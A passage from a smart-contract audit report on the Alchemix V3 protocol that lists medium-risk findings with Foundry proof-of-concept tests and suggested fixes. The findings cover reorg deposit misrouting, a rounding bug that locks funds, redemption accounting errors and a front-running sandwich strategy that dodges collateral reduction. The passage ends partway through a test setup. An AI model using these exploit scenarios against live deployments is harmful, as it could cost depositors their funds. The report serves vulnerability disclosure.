        // ========== RESET STATE FOR CHAIN REORG SIMULATION =============
        vm.revertTo(initialSnapshot);

        console.log("\n========== SCENARIO 2: CHAIN REORG TRANSACTION ORDER ==========");
        // ========== CHAIN REORG SCENARIO =============
        // In the chain reorg, User B's transaction gets processed first

        // 1. User B makes first deposit with id = 0 (creates position with id = 1)
        vm.prank(userB);
        alchemist.deposit(depositAmount, userB, 0);
        userBPositionId = AlchemistNFTHelper.getFirstTokenId(userB, address(alchemistNFT));
        assertEq(userBPositionId, 1, "User B position ID should be 1 after chain reorg");

        // 2. User A makes first deposit with id = 0 (creates position with id = 2)
        vm.prank(userA);
        alchemist.deposit(depositAmount, userA, 0);
        userAPositionId = AlchemistNFTHelper.getFirstTokenId(userA, address(alchemistNFT));
        assertEq(userAPositionId, 2, "User A position ID should be 2 after chain reorg");

        // Now comes the crucial part - User A thinks their position ID is 1 (which was true in the original
        ↪  chain)
        // In the reorg scenario, they try to use position ID 1 for their second deposit, but this now belongs
        ↪  to User B

        // 3. User A attempts to deposit into what they think is their position (id = 1),
        // but due to the chain reorg, position id = 1 now belongs to User B!
        vm.prank(userA);
        alchemist.deposit(depositAmount, userA, 1); // Using ID = 1, which belongs to User B after reorg

        // Check that User B's position has received User A's second deposit!
        (uint256 userBCollateralAfterReorg,,) = alchemist.getCDP(1);
        assertEq(userBCollateralAfterReorg, depositAmount * 2, "User B now has 2x deposit amount after
        ↪  receiving User A's second deposit");

        // Check that User A's actual position only has the initial deposit
        (uint256 userACollateralAfterReorg,,) = alchemist.getCDP(2);
        assertEq(userACollateralAfterReorg, depositAmount, "User A only has 1x deposit amount in their actual
        ↪  position");

        console.log("User A Position ID after reorg:", userAPositionId);
        console.log("User A Collateral after reorg:", userACollateralAfterReorg);
        console.log("User B Position ID after reorg:", userBPositionId);
        console.log("User B Collateral after reorg:", userBCollateralAfterReorg);
    }
}
```

Recommendation: Consider adding an ownership check to the `deposit` function to ensure that only the position owner (or an approved operator) can deposit additional collateral.

Example fix:

```
  function deposit(uint256 amount, address recipient, uint256 recipientId) external returns (uint256) {
      _checkArgument(recipient != address(0));
      _checkArgument(amount > 0);
      _checkState(!depositsPaused);
      _checkState(IERC20(yieldToken).balanceOf(address(this)) + amount <= depositCap);
      uint256 tokenId = recipientId;

      // Only mint a new position if the id is 0
      if (tokenId == 0) {
          tokenId = IAlchemistV3Position(alchemistPositionNFT).mint(recipient);
          emit AlchemistV3PositionNFTMinted(recipient, tokenId);
      } else {
          _checkForValidAccountId(tokenId);
+         // Add this check to verify ownership when depositing to an existing position
+         _checkAccountOwnership(IAlchemistV3Position(alchemistPositionNFT).ownerOf(tokenId), msg.sender);
      }

      _accounts[tokenId].collateralBalance += amount;
      _accounts[tokenId].freeCollateral += amount;

      TokenUtils.safeTransferFrom(yieldToken, msg.sender, address(this), amount);

      emit Deposit(amount, tokenId);

      return convertYieldTokensToDebt(amount);
  }
```

This change ensures that even if a chain reorganization occurs, users can only deposit into positions they own, preventing accidental deposits into other users' positions.

3.2.16 If `redeem()` is called twice between an account's `_sync()`, `debt` and `earmarked` of the account will be incorrectly updated

Submitted by KupiaSec

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: When the `AlchemistV3.redeem()` function is called, the `lastRedemptionBlock` is set to the current `block.number`. And, the `_earmarkWeight` is saved in the`_redemptions[block.number]`. If the `AlchemistV3.redeem()` function is called more than twice between an account's `_sync()`, the account data will be incorrectly updated.

Finding Description: When `AlchemistV3.redeem()` is called, `lastRedemptionBlock` is set to `block.number`. And, the `_earmarkWeight` is saved in the`_redemptions[block.number]`.

- AlchemistV3.sol#L573-L599:

```
function redeem(uint256 amount) external onlyTransmuter {
    _earmark();

    _redemptionWeight += PositionDecay.WeightIncrement(amount, cumulativeEarmarked);

    // Calculate current fee price
    uint256 collRedeemed = convertDebtTokensToYield(amount);
    uint256 feeCollateral = collRedeemed * protocolFee / BPS;
    uint256 totalOut = collRedeemed + feeCollateral;

    // Update weights and totals
    uint256 old = _totalLocked;
    _totalLocked = old - totalOut;
    _collateralWeight += PositionDecay.WeightIncrement(totalOut, old);
    cumulativeEarmarked -= amount;
    totalDebt -= amount;
    totalSyntheticsIssued -= amount;

    lastRedemptionBlock = block.number; // <<<

    _redemptions[block.number] = RedemptionInfo(cumulativeEarmarked, totalDebt, _earmarkWeight); // <<<

    TokenUtils.safeTransfer(yieldToken, transmuter, collRedeemed);
    TokenUtils.safeTransfer(yieldToken, protocolFeeReceiver, feeCollateral);

    emit Redemption(amount);
}
```

When calling the `AlchemistV3._sync()` function for an account, the saved `_earmarkWeight` is used in the calculation of `account.earmarked` and `account.debt`.

- AlchemistV3.sol#L974-L1004:

```
function _sync(uint256 tokenId) internal {
    Account storage account = _accounts[tokenId];
    RedemptionInfo memory previousRedemption = _redemptions[lastRedemptionBlock]; // <<<

    uint256 debtToEarmark = PositionDecay.ScaleByWeightDelta(account.debt - account.earmarked,
    ↪  _earmarkWeight - account.lastAccruedEarmarkWeight);
    uint256 earmarkedState = account.earmarked + debtToEarmark;

    // Recreate account state at last redemption block if the redemption was in the past
    uint256 earmarkToRedeem;
    uint256 earmarkPreviousState;
    if (block.number > lastRedemptionBlock && _redemptionWeight != 0) {
        debtToEarmark = PositionDecay.ScaleByWeightDelta(account.debt - account.earmarked,
        ↪  previousRedemption.earmarkWeight - account.lastAccruedEarmarkWeight); // <<<

        earmarkPreviousState = account.earmarked + debtToEarmark;
        earmarkToRedeem = PositionDecay.ScaleByWeightDelta(earmarkPreviousState, _redemptionWeight -
        ↪  account.lastAccruedRedemptionWeight);
    } else {
        earmarkToRedeem = PositionDecay.ScaleByWeightDelta(earmarkedState, _redemptionWeight -
        ↪  account.lastAccruedRedemptionWeight);
    }

    uint256 collateralToRemove = PositionDecay.ScaleByWeightDelta(account.rawLocked, _collateralWeight
    ↪  - account.lastCollateralWeight);

    // Calculate how much of user earmarked amount has been redeemed and subtract it
    account.earmarked = earmarkedState - earmarkToRedeem;
    account.debt -= earmarkToRedeem;
    account.lastAccruedRedemptionWeight = _redemptionWeight;
    account.lastAccruedEarmarkWeight = _earmarkWeight;
    // Redeem user collateral equal to value of debt tokens redeemed
    account.collateralBalance -= collateralToRemove;
    account.rawLocked -= collateralToRemove;
    account.lastCollateralWeight = _collateralWeight;
}
```

However, if `AlchemistV3.redeem()` is called more than twice between `_sync()` of an account, the `_earmarkWeight` and `lastRedemptionBlock` saved last time are only used in the `_sync` function.

As a result, the `account.earmarked` and `account.debt` will be updated incorrectly.

Consider the following scenario:

- The initial initial state is: `totalDebt = 10000`, `cumulativeEarmarked = 2000`, `account.debt = 100`, `account.earmarked = 20`.

  Between two `_sync()` calls for the account, the following steps:

  1. 500 debt tokens are earmarked.

     ```
     totalDebt = 10000, cumulativeEarmarked = 2500
     ```

  2. 600 debt tokens are redeemed.

     ```
     totalDebt = 9400, cumulativeEarmarked = 1900.
     ```

  3. 400 debt tokens are earmarked.

     ```
     totalDebt = 9400, cumulativeEarmarked = 2300.
     ```

  4. 500 debt tokens are redeemed.

     ```
     totalDebt = 8900, cumulativeEarmarked = 1800.
     ```

After calling the `_sync` function, the `account.debt` should be 89, `account.earmarked = 18`. However, they will be incorrectly updated to `88.25` and `17.25`.

Impact Explanation: High. Incorrect update of an account.

Likelihood Explanation: High. `AlchemistV3.redeem()` can be called called multiple times between `_sync()` of an account.

3.2.17 `Transmuter::queryGraph` incorrectly rounds up which will lead to broken accounting and locked funds in an alchemist

Submitted by gesha17, also found by T1MOH, greg, patitonar, silverologist, softdev323, ZoA and Grands9n

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: queryGraph always rounds up, which will ultimate lead to reverting transctions. This is because the PositionDecay.WeightIncrement depends on the returned earmarked amount by queryGraph being less than totalDebt - cumulativeEarmarked. This rounding up will break this invariant and cause all transcations to revert, locking the contract and all funds in it.

Finding Description: PositionDecay::WeightIncrement will check that the passed in increment is less than or equal to the total:

```
function WeightIncrement(uint256 increment, uint256 total) internal pure returns (uint256) {
    unchecked {
      require(increment <= total);           //support ratios of 1.0 or less // <<<
      require(total <= type(uint128).max);   //Overflow check for (total - increment)<<128

      //By this check, and require(increment <= total <= uint128.max), we avoid div by zero
      if (increment == 0) {
        //log2(1.0) produces no weight increment
        return 0;
      }

      uint256 ratio = ((total - increment) << 128) / total;
      if (ratio == 0) {
        //return smallest weight increase where Exp2NegFrac returns zero
        return LOG2NEGFRAC_1+1;
      }
      return Log2NegFrac(ratio);
    }
}
```

This is called by the AlchemistV3::_earmark function:

```
function _earmark() internal {
    if (totalDebt == 0) return;

    if (block.number > lastEarmarkBlock) {
        uint256 amount = ITransmuter(transmuter).queryGraph(lastEarmarkBlock + 1, block.number);
        if (amount > 0) {
            _earmarkWeight += PositionDecay.WeightIncrement(amount, totalDebt - cumulativeEarmarked); // <<<
            cumulativeEarmarked += amount;
        }

        lastEarmarkBlock = block.number;
    }
}
```

However, we also see that the function will query the transmuter graph on each update and update the cumulative earmarked. However, the queryGraph function will round up any stored amounts:

```
function queryGraph(uint256 startBlock, uint256 endBlock) external view returns (uint256) {
    int256 queried = _stakingGraph.queryStake(startBlock, endBlock);

    if (queried == 0) return 0;
    // + 1 for rounding error
    return (queried / BLOCK_SCALING_FACTOR).toUint256() + 1; // <<<
    //return ((queried+(BLOCK_SCALING_FACTOR-1)) / BLOCK_SCALING_FACTOR).toUint256();
}
```

This means that over time the cumulative will go over the total, and the function will start reverting. This will affect virtually all functions of the protocol as they all do updates through _earmark before any intended state changes due to user interaction.

Impact Explanation: Locked user funds due to broken contract.

Likelihood Explanation: This will happen if the contract reaches a state where all debt is submitted for transmutation.

Proof of Concept: Before I show the coded PoC, first understand the math behind it and why it leads to a revert during call to `repay()`:

This is the flow in the proof of concept:

- A user deposits `100e18` collateral yield tokens.
- Same user takes out `50e18` debt.
- Same user creates a redemption for 50e18 tokens.
- After 1 block - someone calls poke() - this leads to a problematic rounding up.
- After 5256000 - which is end to transmutation period user tries to repay, but the transaction reverts.
- The contract is broken and all functions revert.

This happens because after 1 block, the amount to be earmarked from the user debt will be calculated as 50e18/5256000 ~ 9512937595129.37. This is stored in the graph as 9512937595129, however the poke querying after 1 block will return it as 9512937595130 - rounded up. As a result after the 5256000 blocks transmutation period, the invariant for PositionDecay::WeightIncrement will be broken and functions will start reverting.

Here is a coded proof of concept showing the revert happening, place in AlchemistV3.t.sol:

```
function testRepayWithEarmarkedDebt_MultiplePoke_Broken() external {
    uint256 amount = 100e18;
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, (amount / 2), address(0xbeef));

    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 50e18);
    transmuterLogic.createRedemption(50e18);
    vm.stopPrank();

    vm.roll(block.number + 1);
    alchemist.poke(tokenId);

    vm.roll(block.number + 5_256_000);

    vm.prank(address(0xbeef));
    alchemist.repay(25e18, tokenId);
}
```

Run this unit test with `forge test --mt testRepayWithEarmarkedDebt_MultiplePoke_Broken`. To get a confirmation of the state of the contract and function calls, adjust the `AlchemistV3::_earmark` function as such:

```
  function _earmark() internal {
      if (totalDebt == 0) return;

      if (block.number > lastEarmarkBlock) {
          uint256 amount = ITransmuter(transmuter).queryGraph(lastEarmarkBlock + 1, block.number);
          if (amount > 0) {
+             console.log("amount: %d", amount);
+             console.log("totalDebt: %d", totalDebt);
+             console.log("cumulativeEarmarked: %d", cumulativeEarmarked);
              _earmarkWeight += PositionDecay.WeightIncrement(amount, totalDebt - cumulativeEarmarked);
              cumulativeEarmarked += amount;
          }

          lastEarmarkBlock = block.number;
      }
  }
```

And of course, add the console to the imports:

```
+ import {console} from "../lib/forge-std/src/console.sol";
```

Running the test again shows these logs:

```
amount: 9512937595130
totalDebt: 50000000000000000000
cumulativeEarmarked: 0
amount: 49999904870624048 71
totalDebt: 50000000000000000000
cumulativeEarmarked: 9512937595130
```

We can see that indeed the returned value is 9512937595130 instead of 9512937595129 as we predicted. If we do the calculation for the require statement in `PositionDecay::WeightIncrement`: `require(increment <= total);`.

Meaning that `amount <= totalDebt - cumulativeEarmarked` must be `true`.

So if we substitute the values from above, we get `49999904870624048 71 <= 50000000000000000000 - 9512937595130`, which is equal to `49999904870624048 71 <= 49999904870624048 70`. Which is false, so the function reverts.

Recommendation: Remove the rounding up during graph querying.

3.2.18 `burn()` Reverts Unnecessarily Due to Incorrect Use of `totalDebt`

Submitted by dash, also found by KupiaSec, Araj, Bigsam and Dimaranti

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `burn()` function blocks valid debt repayment by checking `credit > totalDebt - totalLocked`. However, `totalDebt` can be reduced independently of synthetic issuance (e.g., via `repay()`), making this check unreliable.

Finding Description: In the `burn()` function, the contract attempts to ensure that burning synthetic tokens does not undermine the transmuter's ability to fulfill outstanding redemptions. However, the check is incorrectly implemented using `totalDebt`:

- alchemix-v3/src/AlchemistV3.sol:

```
if (credit > totalDebt - ITransmuter(transmuter).totalLocked()) {
    revert BurnLimitExceeded(credit, totalDebt - ITransmuter(transmuter).totalLocked());
}
```

This is problematic because the `repay()` function reduces `totalDebt`, but does **not** burn synthetic tokens (i.e., `totalSyntheticsIssued` remains unchanged). As a result, the above check may unnecessarily revert valid `burn()` calls, since the transmuter still expects synthetic redemptions based on the outstanding synthetic token supply. Instead, the protocol should use `totalSyntheticsIssued`, which reflects the true redeemable supply of synthetic tokens, to ensure transmuter solvency.

Impact Explanation:

- Functional failure: Users can be unfairly prevented from burning synthetic tokens to reduce their debt.
- Inconsistency: The protocol enforces redemption solvency using two inconsistent state variables (`totalDebt` vs `totalSyntheticsIssued`).
- No direct fund loss, but this creates UX friction and can block debt reduction.

Proof of Concept:

```
function test_Burn() external {
    uint256 depositAmount = 1_000e18; // Each user deposits 1,000
    uint256 mintAmount = 500e18; // Each user mints 500
    uint256 repayAmount = 500e18; // User2 repays 500
    uint256 redemptionAmount = 500e18; // User3 creates redemption for 500
    uint256 burnAmount = 400e18; // User1 tries to burn 400

    // Step 1: User1 deposits and mints
    console.log("Step 1: User1 deposits and mints");
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), depositAmount);
    alchemist.deposit(depositAmount, address(0xbeef), 0);
    uint256 tokenIdForUser1 = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenIdForUser1, mintAmount, address(0xbeef));
    vm.stopPrank();

    // Step 2: User2 deposits and mints
    console.log("Step 2: User2 deposits and mints");
    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), depositAmount);
    alchemist.deposit(depositAmount, address(0xdad), 0);
    uint256 tokenIdForUser2 = AlchemistNFTHelper.getFirstTokenId(address(0xdad), address(alchemistNFT));
    alchemist.mint(tokenIdForUser2, mintAmount, address(0xdad));
    vm.stopPrank();

    // Step 3: User2 repays all debts
    console.log("Step 3: User2 repays all debts");
    vm.roll(block.number + 1_000); // Simulate time passing
    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), repayAmount);
    alchemist.repay(repayAmount, tokenIdForUser2);
    vm.stopPrank();

    // Step 4: User3 creates redemption
    // Now transmuter has enough yield tokens to cover the redemption
    console.log("Step 4: User3 creates redemption");
    vm.startPrank(anotherExternalUser);
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), redemptionAmount);
    transmuterLogic.createRedemption(redemptionAmount);
```

```
    vm.stopPrank();

    // Step 5: User1 tries to burn his debt
    // This should succeed because transmuter has enough yield tokens to cover the redemption,
    // However it fails
    console.log("Step 5: User1 tries to burn his debt");
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(alToken), address(alchemist), burnAmount);
    alchemist.burn(burnAmount, tokenIdForUser1);
    vm.stopPrank();
}
```

Recommendation: Replace the conditional check in the `burn()` function:

```
- if (credit > totalDebt - ITransmuter(transmuter).totalLocked()) {
+ if (credit > totalSyntheticsIssued - ITransmuter(transmuter).totalLocked()) {
-     revert BurnLimitExceeded(credit, totalDebt - ITransmuter(transmuter).totalLocked());
+     revert BurnLimitExceeded(credit, totalSyntheticsIssued - ITransmuter(transmuter).totalLocked());
  }
```

This ensures that burn operations are only blocked when they truly threaten the protocol's redemption guarantees.

3.2.19 Overflow is possible in `StakingGraph`

Submitted by T1MOH, also found by 0xd4ps, Nataly, 0xblackadam, JohnLaw and silverologist

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: `StakingGraph.sol` defines max values incorrectly. Problem is that these variables are `int`, so max/min values must be 2 times lower.

```
uint256 private constant DELTA_BITS = 112;
uint256 private constant PRODUCT_BITS = 256-DELTA_BITS;

int256 private constant DELTA_MAX = int256(2**DELTA_BITS)-1;
int256 private constant DELTA_MIN = -int256(2**DELTA_BITS);
int256 private constant PRODUCT_MAX = int256(2**PRODUCT_BITS)-1;
int256 private constant PRODUCT_MIN = -int256(2**PRODUCT_BITS);
```

For example max value of `int112` is $2^{111} - 1$, but it calculates $2^{112} - 1$. Overflow is easier to achieve on amount (delta). It's following value:

```
_updateStakingGraph(syntheticDepositAmount.toInt256() * BLOCK_SCALING_FACTOR / timeToTransmute.toInt256(),
↪  timeToTransmute);
```

I.e. token amount multiplied by 1e8 and divided by `timeToTransmute`. Let's calculate how much USD is it:

- Let x is USD value. `timeToTransmute = 1 week = 3600 * 24 * 7 / 12 = 50400` is minimal possible value.
- `x * 1e18 * 1e8 / 50400 > 2 ** 111 - 1` → `x > 1.3e12`.

It is equal around 1.3 trillion USD. At this point storage will be completely corrupted and all funds waiting redemption will be destroyed.

Recommendation: Use:

```
int256 private constant DELTA_MAX = int256(2**DELTA_BITS - 1)-1;
int256 private constant DELTA_MIN = -int256(2**DELTA_BITS - 1);
int256 private constant PRODUCT_MAX = int256(2**PRODUCT_BITS - 1)-1;
int256 private constant PRODUCT_MIN = -int256(2**PRODUCT_BITS - 1);
```

3.2.20 Setting new Transmuter will completely break internal storage of `AlchemistV3.sol`

Submitted by T1MOH, also found by KrisRenZo and KrisRenZo

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: In case of emergency there is an ability to set new transmuter. It ensures that old transmuter has enough yield token to cover pending redemptions:

```
function setTransmuter(address value) external onlyAdmin {
    _checkArgument(value != address(0));

    // Check that old transmuter has enough funds to cover all future transmutations before allowing a swap
    require(convertYieldTokensToDebt(TokenUtils.safeBalanceOf(yieldToken, transmuter)) >=
    ↪  ITransmuter(transmuter).totalLocked());

    transmuter = value;
    emit TransmuterUpdated(value);
}
```

There is only 1 option to make Transmuter have enough funds: send yield token directly prior to deactivation. Sending yield token directly breaks internal accounting of AlchemistV3 in many ways. Mainly due to the fact `AlchemistV3.redeem()` is not executed, so some of those variables are not updated, at least these:

```
function redeem(uint256 amount) external onlyTransmuter {
    _earmark();

    _redemptionWeight += PositionDecay.WeightIncrement(amount, cumulativeEarmarked);

    // Calculate current fee price
    uint256 collRedeemed = convertDebtTokensToYield(amount);
    uint256 feeCollateral = collRedeemed * protocolFee / BPS;
    uint256 totalOut = collRedeemed + feeCollateral;

    // Update weights and totals
    uint256 old = _totalLocked;
    _totalLocked = old - totalOut;
    _collateralWeight += PositionDecay.WeightIncrement(totalOut, old);
    cumulativeEarmarked -= amount; // <<<
    totalDebt -= amount; // <<<
    totalSyntheticsIssued -= amount; // <<<

    lastRedemptionBlock = block.number;

    _redemptions[block.number] = RedemptionInfo(cumulativeEarmarked, totalDebt, _earmarkWeight);

    TokenUtils.safeTransfer(yieldToken, transmuter, collRedeemed);
    TokenUtils.safeTransfer(yieldToken, protocolFeeReceiver, feeCollateral);

    emit Redemption(amount);
}
```

After sending yield token directly to Transmuter, internal accounting becomes broken. Sure, any user can do it - and it qualifies as griefing vector. But this submission shows why significant amount will be transferred by governance - so accounting discrepancy becomes significant.

Griefing donations don't really have impact - discrepancy can become high only if user is sacrificing a lot of money. So I believe they have Low/Medium impact with Low likelihood (there is no reason to donate money for griefer). However this issue has High impact with Medium/High likelihood. Update of transmuter is designed logic will break `AlchemistV3.sol`, while possibility of such update is already designed.

`totalDebt` is system shows much more than real amount. It leads to full liquidation because system wrongly thinks there is much more debt:

```
function calculateLiquidation(
    uint256 collateral,
    uint256 debt,
    uint256 targetCollateralization,
    uint256 alchemistCurrentCollateralization,
    uint256 alchemistMinimumCollateralization,
    uint256 feeBps
) public pure returns (uint256 grossCollateralToSeize, uint256 debtToBurn, uint256 fee) {
    if (debt >= collateral) {
        // fully liquidate bad debt
        return (debt, debt, 0);
    }

    if (alchemistCurrentCollateralization < alchemistMinimumCollateralization) { // <<<
        // fully liquidate debt in high ltv global environment
        return (debt, debt, 0);
    }
```

`cumulativeEarned` is not decreased, therefore `_redemptionWeight` value grows lower than should. It means that debt amount that was earmarked prior to that Transmuter update that should have been directed to old one - this amount stays earmarked forever after update.

```
function redeem(uint256 amount) external onlyTransmuter {
    _earmark();

    _redemptionWeight += PositionDecay.WeightIncrement(amount, cumulativeEarmarked); // <<<
```

Recommendation: Re-design is needed to fix the issue.

3.2.21 Redemption Sandwich Attack Enables CDP Owners to Evade Proportional Collateral Reduction

Submitted by CAUsr, also found by CAUsr and KrisRenZo

Severity: Medium Risk

Context: AlchemistV3.sol#L447

Summary: A missing time-lock on debt burning in the Alchemix V3 protocol allows a borrower to front-run a pending redemption, burn their debt to artificially lower the `rawLocked` value, let the redemption execute against the reduced value, then re-borrow their debt-thereby avoiding their fair share of collateral reduction.

Finding Description: Current implementation allows CDP owners to sandwich `redeem` call that would cause significant collateral losses to them, unproportional to their earmarked debt. The scenario is the following:

1. Spot a significant redemption in the mempool.
2. Repay / burn debt, thus lowering the `totalLocked` value.
3. Wait for redemption to be applied.
4. Borrow back the debt.

As a result, a CDP owner dodges collateral reduction distribution.

Impact Explanation: Medium Impact. Unfair redistribution of collateral reduction, passing the burden onto other participants.

Likelihood Explanation: Medium Likelihood. No on-chain friction: Only a simple front-run transaction is needed; no oracle manipulation or deep planning. The main limiting factor is the debt burning fee, so the strategy is suitable for avoiding significant redemptions. Note that burning-and-minting is allowed in the same block, unlike minting-and-burning. The attack most suitable for professional participants seeking yield maximisation.

Recommendation: Add a short time-lock for debt burning.

3.2.22 Liquidations for insolvent positions revert

Submitted by frndz0ne, also found by 0xorangesantra, 0xaman, timefliez, serenity and Dimaranti

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Lack of position insolvency checks cause liquidations for insolvent positions to revert.

Finding Description: The issue occurs in `AlchemistV3::_subDebt`.

```
function _subDebt(uint256 tokenId, uint256 amount) internal {
    Account storage account = _accounts[tokenId];
    account.debt -= amount;
    totalDebt -= amount;

    // Update collateral variables
    uint256 toFree = convertDebtTokensToYield(amount) * minimumCollateralization / FIXED_POINT_SCALAR;

    // For cases when someone above minimum LTV gets liquidated.
    if (toFree > _totalLocked) {
        toFree = _totalLocked;
    }

    _totalLocked -= toFree;
    account.rawLocked -= toFree;
    account.freeCollateral += toFree;
}
```

When a position is in a state of insolvency the calculated `toFree` amount will be higher than the `account.rawLocked` amount which leads to panic revert due to underflow and to a denial of service of the liquidation functionality.

Impact Explanation: The issue causes liquidation DoS putting the protocol in a position of bad debt.

Likelihood Explanation: The likelihood of the user's position to reach state of insolvency is low.

Proof of Concept:

- Change `TestYieldToken.sol`:

```
+ uint256 public assetPrice;
+ function setPrice(uint256 price) external {
+     assetPrice = price;
+ }
  function price() external view override returns (uint256) {
+     return assetPrice;
-     return _shareValue(10 ** _decimals);
  }
```

  These code changes are added only for simplicity and to achieve a position's state of insolvency.

- Proof of concept:

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import {IERC20} from "../../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../../libraries/SafeCast.sol";
import {Test} from "../../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../../libraries/SafeERC20.sol";
import {console} from "../../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../../AlchemistV3.sol";
import {AlchemicTokenV3} from "../../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../../Transmuter.sol";
import {AlchemistV3Position} from "../../AlchemistV3Position.sol";

import {Whitelist} from "../../utils/Whitelist.sol";
import {TestERC20} from "../mocks/TestERC20.sol";
import {TestYieldToken} from "../mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "../mocks/TokenAdapterMock.sol";
```

```
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from
↪  "../../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../../base/Errors.sol";
import {AlchemistNFTHelper} from "../libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from "../../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared
↪  /interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../../AlchemistTokenVault.sol";

contract LiquidationDoSAccountingIssue is Test {

    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    // // Proxy variables
    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    // // Contract variables
    // CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
    AlchemistV3 alchemistLogic;
    Transmuter transmuterLogic;
    AlchemicTokenV3 alToken;
    Whitelist whitelist;

    // Token addresses
    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;

    // Parameters for AlchemicTokenV2
    string public _name;
    string public _symbol;
    uint256 public _flashFee;
    address public alOwner;


    uint256 public constant FIXED_POINT_SCALAR = 1e18;

    uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

    uint256 public minimumCollateralization = 1e18;

    // ----- Variables for deposits & withdrawals -----

    // account funds to make deposits/test with
    uint256 accountFunds = 2_000_000_000e18;

    // random EOA for testing
    address externalUser = address(0x69E8cE9bFc01AA33cD2d02Ed91c72224481Fa420);

    // another random EOA for testing
    address anotherExternalUser = address(0x420Ab24368E5bA8b727E9B8aB967073Ff9316969);

    function setUp() external {
        // test maniplulation for convenience
        address caller = address(0xdead);
        address proxyOwner = address(this);
        vm.assume(caller != address(0));
        vm.assume(proxyOwner != address(0));
        vm.assume(caller != proxyOwner);
        vm.startPrank(caller);

        // Fake tokens

        fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
        fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
        alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

        ITransmuter.TransmuterInitializationParams memory transParams =
        ↪  ITransmuter.TransmuterInitializationParams({
```

```
            syntheticToken: address(alToken),
            feeReceiver: address(this),
            timeToTransmute: 5_256_000,
            transmutationFee: 10,
            exitFee: 20,
            graphSize: 52_560_000
        });

        // Contracts and logic contracts
        alOwner = caller;
        transmuterLogic = new Transmuter(transParams);
        alchemistLogic = new AlchemistV3();

        // AlchemistV3 proxy
        AlchemistInitializationParams memory params = AlchemistInitializationParams({
            admin: alOwner,
            debtToken: address(alToken),
            underlyingToken: address(fakeUnderlyingToken),
            yieldToken: address(fakeYieldToken),
            blocksPerYear: 2_600_000,
            depositCap: type(uint256).max,
            minimumCollateralization: minimumCollateralization,
            collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
            globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
            tokenAdapter: address(fakeYieldToken),
            transmuter: address(transmuterLogic),
            protocolFee: 0,
            protocolFeeReceiver: address(10),
            liquidatorFee: liquidatorFeeBPS
        });

        bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
        proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner,
        ↪  alchemParams);
        alchemist = AlchemistV3(address(proxyAlchemist));

        // Whitelist alchemist proxy for minting tokens
        alToken.setWhitelist(address(proxyAlchemist), true);
        alToken.setWhitelist(address(0xdead), true);

        transmuterLogic.setAlchemist(address(alchemist));
        transmuterLogic.setDepositCap(uint256(type(int256).max));

        alchemistNFT = new AlchemistV3Position(address(alchemist));
        alchemist.setAlchemistPositionNFT(address(alchemistNFT));

        alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist),
        ↪  alOwner);
        alchemistFeeVault.setAuthorization(address(alchemist), true);
        alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
        vm.stopPrank();

        // Add funds to test accounts
        deal(address(fakeYieldToken), externalUser, accountFunds);
        deal(address(fakeYieldToken), anotherExternalUser, accountFunds);

        deal(address(fakeUnderlyingToken), externalUser, accountFunds);
        deal(address(fakeUnderlyingToken), anotherExternalUser, accountFunds);
        deal(address(fakeUnderlyingToken), alchemist.alchemistFeeVault(), 10_000 ether);

        vm.startPrank(anotherExternalUser);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);
        vm.stopPrank();
    }

